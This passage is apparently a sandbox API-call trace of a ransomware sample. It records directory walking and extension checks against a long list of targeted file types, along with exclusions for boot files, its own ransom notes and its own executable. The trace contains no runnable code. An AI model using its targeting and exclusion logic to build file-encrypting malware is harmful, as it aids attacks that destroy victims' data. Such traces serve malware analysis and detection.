(lpString1=".ai4", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai5") returned 4 [0181.295] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai6") returned 4 [0181.295] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai7") returned 4 [0181.295] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ai8") returned 4 [0181.295] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".anim") returned 5 [0181.295] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0181.295] lstrlenW (lpString=".arw") returned 4 [0181.295] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".as") returned 3 [0181.295] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0181.295] lstrlenW (lpString=".asa") returned 4 [0181.295] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".asc") returned 4 [0181.295] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".ascx") returned 5 [0181.295] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0181.295] lstrlenW (lpString=".asm") returned 4 [0181.295] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0181.295] lstrlenW (lpString=".asmx") returned 5 [0181.295] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0181.295] lstrlenW (lpString=".asp") returned 4 [0181.296] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0181.296] lstrlenW (lpString=".aspx") returned 5 [0181.296] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0181.296] lstrlenW (lpString=".asr") returned 4 [0181.296] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0181.296] lstrlenW (lpString=".asx") returned 4 [0181.296] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0181.296] lstrlenW (lpString=".avi") returned 4 [0181.296] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0181.296] lstrlenW (lpString=".avs") returned 4 [0181.296] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0181.296] lstrlenW (lpString=".backup") returned 7 [0181.296] lstrcmpiW (lpString1=".backup", lpString2="00.json") returned -1 [0181.296] lstrlenW (lpString=".bak") returned 4 [0181.296] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".bay") returned 4 [0181.297] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".bd") returned 3 [0181.297] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0181.297] lstrlenW (lpString=".bin") returned 4 [0181.297] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".bmp") returned 4 [0181.297] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".bz2") returned 4 [0181.297] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".c") returned 2 [0181.297] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0181.297] lstrlenW (lpString=".cdr") returned 4 [0181.297] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".cer") returned 4 [0181.297] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".cf") returned 3 [0181.297] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0181.297] lstrlenW (lpString=".cfc") returned 4 [0181.297] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".cfm") returned 4 [0181.297] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".cfml") returned 5 [0181.297] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0181.297] lstrlenW (lpString=".cfu") returned 4 [0181.297] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".chm") returned 4 [0181.297] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0181.297] lstrlenW (lpString=".cin") returned 4 [0181.298] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".class") returned 6 [0181.298] lstrcmpiW (lpString1=".class", lpString2="0.json") returned -1 [0181.298] lstrlenW (lpString=".clx") returned 4 [0181.298] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".config") returned 7 [0181.298] lstrcmpiW (lpString1=".config", lpString2="00.json") returned -1 [0181.298] lstrlenW (lpString=".cpp") returned 4 [0181.298] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".cr2") returned 4 [0181.298] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".crt") returned 4 [0181.298] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".crw") returned 4 [0181.298] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".cs") returned 3 [0181.298] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0181.298] lstrlenW (lpString=".css") returned 4 [0181.298] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".csv") returned 4 [0181.298] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".cub") returned 4 [0181.298] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".dae") returned 4 [0181.298] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".dat") returned 4 [0181.298] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".db") returned 3 [0181.298] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0181.298] lstrlenW (lpString=".dbf") returned 4 [0181.298] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".dbx") returned 4 [0181.298] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".dc3") returned 4 [0181.298] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0181.298] lstrlenW (lpString=".dcm") returned 4 [0181.298] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dcr") returned 4 [0181.299] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".der") returned 4 [0181.299] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dib") returned 4 [0181.299] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dic") returned 4 [0181.299] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dif") returned 4 [0181.299] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".divx") returned 5 [0181.299] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".djvu") returned 5 [0181.299] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".dng") returned 4 [0181.299] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".doc") returned 4 [0181.299] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".docm") returned 5 [0181.299] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".docx") returned 5 [0181.299] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".dot") returned 4 [0181.299] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dotm") returned 5 [0181.299] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".dotx") returned 5 [0181.299] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0181.299] lstrlenW (lpString=".dpx") returned 4 [0181.299] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dqy") returned 4 [0181.299] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dsn") returned 4 [0181.299] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0181.299] lstrlenW (lpString=".dt") returned 3 [0181.299] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0181.299] lstrlenW (lpString=".dtd") returned 4 [0181.299] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".dwg") returned 4 [0181.300] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".dwt") returned 4 [0181.300] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".dx") returned 3 [0181.300] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0181.300] lstrlenW (lpString=".dxf") returned 4 [0181.300] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".edml") returned 5 [0181.300] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0181.300] lstrlenW (lpString=".efd") returned 4 [0181.300] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".elf") returned 4 [0181.300] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".emf") returned 4 [0181.300] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".emz") returned 4 [0181.300] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".epf") returned 4 [0181.300] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".eps") returned 4 [0181.300] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".epsf") returned 5 [0181.300] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0181.300] lstrlenW (lpString=".epsp") returned 5 [0181.300] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0181.300] lstrlenW (lpString=".erf") returned 4 [0181.300] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".exr") returned 4 [0181.300] lstrcmpiW (lpString1=".exr", lpString2="json") returned -1 [0181.300] lstrlenW (lpString=".f4v") returned 4 [0181.300] lstrcmpiW (lpString1=".f4v", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".fido") returned 5 [0181.301] lstrcmpiW (lpString1=".fido", lpString2=".json") returned -1 [0181.301] lstrlenW (lpString=".flm") returned 4 [0181.301] lstrcmpiW (lpString1=".flm", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".flv") returned 4 [0181.301] lstrcmpiW (lpString1=".flv", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".frm") returned 4 [0181.301] lstrcmpiW (lpString1=".frm", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".fxg") returned 4 [0181.301] lstrcmpiW (lpString1=".fxg", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".geo") returned 4 [0181.301] lstrcmpiW (lpString1=".geo", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".gif") returned 4 [0181.301] lstrcmpiW (lpString1=".gif", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".grs") returned 4 [0181.301] lstrcmpiW (lpString1=".grs", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".gz") returned 3 [0181.301] lstrcmpiW (lpString1=".gz", lpString2="son") returned -1 [0181.301] lstrlenW (lpString=".h") returned 2 [0181.301] lstrcmpiW (lpString1=".h", lpString2="on") returned -1 [0181.301] lstrlenW (lpString=".hdr") returned 4 [0181.301] lstrcmpiW (lpString1=".hdr", lpString2="json") returned -1 [0181.301] lstrlenW (lpString=".hpp") returned 4 [0181.301] lstrcmpiW (lpString1=".hpp", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".hta") returned 4 [0181.302] lstrcmpiW (lpString1=".hta", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".htc") returned 4 [0181.302] lstrcmpiW (lpString1=".htc", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".htm") returned 4 [0181.302] lstrcmpiW (lpString1=".htm", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".html") returned 5 [0181.302] lstrcmpiW (lpString1=".html", lpString2=".json") returned -1 [0181.302] lstrlenW (lpString=".icb") returned 4 [0181.302] lstrcmpiW (lpString1=".icb", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".ics") returned 4 [0181.302] lstrcmpiW (lpString1=".ics", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".iff") returned 4 [0181.302] lstrcmpiW (lpString1=".iff", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".inc") returned 4 [0181.302] lstrcmpiW (lpString1=".inc", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".indd") returned 5 [0181.302] lstrcmpiW (lpString1=".indd", lpString2=".json") returned -1 [0181.302] lstrlenW (lpString=".ini") returned 4 [0181.302] lstrcmpiW (lpString1=".ini", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".iqy") returned 4 [0181.302] lstrcmpiW (lpString1=".iqy", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".j2c") returned 4 [0181.302] lstrcmpiW (lpString1=".j2c", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".j2k") returned 4 [0181.302] lstrcmpiW (lpString1=".j2k", lpString2="json") returned -1 [0181.302] lstrlenW (lpString=".java") returned 5 [0181.302] lstrcmpiW (lpString1=".java", lpString2=".json") returned -1 [0181.302] lstrlenW (lpString=".jp2") returned 4 [0181.303] lstrcmpiW (lpString1=".jp2", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".jpc") returned 4 [0181.303] lstrcmpiW (lpString1=".jpc", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".jpe") returned 4 [0181.303] lstrcmpiW (lpString1=".jpe", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".jpeg") returned 5 [0181.303] lstrcmpiW (lpString1=".jpeg", lpString2=".json") returned -1 [0181.303] lstrlenW (lpString=".jpf") returned 4 [0181.303] lstrcmpiW (lpString1=".jpf", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".jpg") returned 4 [0181.303] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".jpx") returned 4 [0181.303] lstrcmpiW (lpString1=".jpx", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".js") returned 3 [0181.303] lstrcmpiW (lpString1=".js", lpString2="son") returned -1 [0181.303] lstrlenW (lpString=".jsf") returned 4 [0181.303] lstrcmpiW (lpString1=".jsf", lpString2="json") returned -1 [0181.303] lstrlenW (lpString=".json") returned 5 [0181.303] lstrcmpiW (lpString1=".json", lpString2=".json") returned 0 [0181.303] lstrlenW (lpString="Config_131491847713900000.json") returned 30 [0181.303] lstrlenW (lpString=".NEWS") returned 5 [0181.303] lstrcmpiW (lpString1=".NEWS", lpString2=".json") returned 1 [0181.303] lstrlenW (lpString="Config_131491847713900000.json") returned 30 [0181.303] lstrcmpiW (lpString1="boot.ini", lpString2="Config_131491847713900000.json") returned -1 [0181.303] lstrcmpiW (lpString1="bootfont.bin", lpString2="Config_131491847713900000.json") returned -1 [0181.303] lstrcmpiW (lpString1="ntldr", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrcmpiW (lpString1="ntdetect.com", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrcmpiW (lpString1="io.sys", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrcmpiW (lpString1="Info.hta", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrcmpiW (lpString1="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe", lpString2="Config_131491847713900000.json") returned 1 [0181.303] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Config_131491847713900000.json") returned 116 [0181.304] FindNextFileW (in: hFindFile=0x484a98, lpFindFileData=0x30df08c | out: lpFindFileData=0x30df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Content1", cAlternateFileName="")) returned 1 [0181.304] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1") returned 94 [0181.304] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1") returned 1 [0181.304] lstrlenW (lpString="Content1") returned 8 [0181.304] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Content1") returned -1 [0181.304] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4004828 [0181.304] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1") returned 94 [0181.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\*", lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484ad8 [0181.304] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76437f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0181.304] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-sa", cAlternateFileName="")) returned 1 [0181.304] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa") returned 100 [0181.304] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa") returned 1 [0181.304] lstrlenW (lpString="ar-sa") returned 5 [0181.304] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar-sa") returned 1 [0181.305] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0181.305] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa") returned 100 [0181.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0181.306] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa76f9fe7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e32400a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0181.306] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xb5b9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0181.306] lstrlenW (lpString="index.html") returned 10 [0181.306] lstrlenW (lpString=".1cd") returned 4 [0181.306] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.306] lstrlenW (lpString=".3ds") returned 4 [0181.306] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".3fr") returned 4 [0181.307] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".3g2") returned 4 [0181.307] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".3gp") returned 4 [0181.307] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".7z") returned 3 [0181.307] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.307] lstrlenW (lpString=".accda") returned 6 [0181.307] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".accdb") returned 6 [0181.307] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".accdc") returned 6 [0181.307] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".accde") returned 6 [0181.307] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".accdt") returned 6 [0181.307] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".accdw") returned 6 [0181.307] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0181.307] lstrlenW (lpString=".adb") returned 4 [0181.307] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".adp") returned 4 [0181.307] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".ai") returned 3 [0181.307] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0181.307] lstrlenW (lpString=".ai3") returned 4 [0181.307] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".ai4") returned 4 [0181.307] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".ai5") returned 4 [0181.307] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0181.307] lstrlenW (lpString=".ai6") returned 4 [0181.307] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".ai7") returned 4 [0181.308] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".ai8") returned 4 [0181.308] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".anim") returned 5 [0181.308] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0181.308] lstrlenW (lpString=".arw") returned 4 [0181.308] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".as") returned 3 [0181.308] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0181.308] lstrlenW (lpString=".asa") returned 4 [0181.308] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".asc") returned 4 [0181.308] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".ascx") returned 5 [0181.308] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0181.308] lstrlenW (lpString=".asm") returned 4 [0181.308] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".asmx") returned 5 [0181.308] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0181.308] lstrlenW (lpString=".asp") returned 4 [0181.308] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".aspx") returned 5 [0181.308] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0181.308] lstrlenW (lpString=".asr") returned 4 [0181.308] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".asx") returned 4 [0181.308] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".avi") returned 4 [0181.308] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0181.308] lstrlenW (lpString=".avs") returned 4 [0181.308] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".backup") returned 7 [0181.309] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0181.309] lstrlenW (lpString=".bak") returned 4 [0181.309] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".bay") returned 4 [0181.309] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".bd") returned 3 [0181.309] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0181.309] lstrlenW (lpString=".bin") returned 4 [0181.309] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".bmp") returned 4 [0181.309] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".bz2") returned 4 [0181.309] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".c") returned 2 [0181.309] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0181.309] lstrlenW (lpString=".cdr") returned 4 [0181.309] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".cer") returned 4 [0181.309] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".cf") returned 3 [0181.309] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0181.309] lstrlenW (lpString=".cfc") returned 4 [0181.309] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".cfm") returned 4 [0181.309] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".cfml") returned 5 [0181.309] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0181.309] lstrlenW (lpString=".cfu") returned 4 [0181.309] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".chm") returned 4 [0181.309] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0181.309] lstrlenW (lpString=".cin") returned 4 [0181.310] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0181.310] lstrlenW (lpString=".class") returned 6 [0181.310] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0181.310] lstrlenW (lpString=".clx") 